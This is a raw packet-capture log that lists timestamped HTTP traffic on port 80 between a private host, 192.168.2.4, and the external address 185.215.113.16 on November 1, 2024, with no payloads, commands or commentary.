Nov 1, 2024 08:50:17.634803057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634815931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.634897947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.634955883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635015965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635075092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635159969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635229111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635282993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635294914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635330915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635385036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635445118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635457993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635500908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635500908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635581970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635593891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635606050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.635674953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.635946035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636169910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636181116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636190891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636203051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636214972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636218071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636228085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636240005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636241913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636250973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636262894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636272907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636272907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636285067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636296988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636302948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636322975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636341095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636352062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636567116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636578083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636589050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636607885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636626005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636717081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636734962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636744022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636770010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636780977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636790037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636791945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636805058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636816025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636816978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636827946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636840105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636840105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636852026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.636887074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.636887074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637769938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637787104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637798071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637809038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637820005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637821913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637834072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637845993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637856007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637856960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637867928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637880087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637887955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637891054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637903929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637917042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637928009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.637943983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637943983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637944937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.637970924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638459921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638509035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638510942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638520956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638626099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638638020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638648987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638674021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638674974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638686895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638699055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638721943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638721943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638727903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638739109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638751984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638765097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638765097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.638768911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638780117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.638818979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.639394999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639441013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.639448881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639461994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639497042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.639532089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639544010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639554024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639564991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639590979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.639657974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.639760017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639802933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.639892101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794284105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794334888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794378042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794399023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794414997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794415951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794429064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794440985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794460058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794464111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794477940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794488907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794493914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794529915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794534922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794534922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794542074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794553041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794564962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794575930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794588089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794600010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794614077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794616938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794616938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794648886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794648886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794665098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794871092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794883013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794888020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794893980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794899940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794905901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794920921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794931889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794950962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794961929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.794975996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.794996023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795022964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795027018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795038939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795049906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795058966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795061111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795070887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795085907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795106888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795114040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795123100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795135021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795161963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795175076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795175076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795176983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795193911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795222044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795233011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795244932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795244932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795264006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795275927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795284033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795284033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795288086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795300007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795327902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795342922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795342922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795347929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795360088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795371056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795382977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795396090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795404911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795411110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795422077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795424938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795433044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795448065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795476913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795476913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795496941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795501947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795515060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795530081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795543909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795555115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795568943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795579910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795584917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795591116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795598984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795602083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795613050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795639992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795645952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795645952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795656919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795660973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795667887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795686960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795697927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795711994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795716047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795743942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795746088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795746088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795762062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795773029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795793056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795805931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795816898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795839071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795841932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795861959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795874119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795885086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795885086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795885086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795900106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.795902967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795938015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.795998096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796009064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796034098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796046019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796066046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796066999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796180964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796191931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796204090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796216011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796231985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796238899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796238899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796257019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796273947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796284914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796293020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796295881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796308041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796319008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796323061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796338081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796355963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796358109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796358109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796375990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796387911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796399117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796411037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796416998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796416998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796422005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796435118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796446085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796473980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796473980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796498060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796575069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796582937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796586037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796610117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796621084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796632051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796662092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796691895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796703100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796714067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.796756029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.796787977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799765110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799777031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799787998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799798012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799808979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799813986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799822092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799837112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799848080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799858093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799866915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799879074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799882889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799882889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799907923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799917936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799918890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799930096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799940109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799952984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799962997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799968958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.799973965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799990892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.799994946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800004959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800014019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800031900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800048113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800055981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800055981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800060987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800076008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800091028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800103903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800116062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800131083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800131083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800148010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800152063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800159931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800170898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800196886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800206900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800216913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800229073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800240040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:17.800244093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800244093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:17.800244093 CET	49738	80	192.168.2.4	185.215.113.16
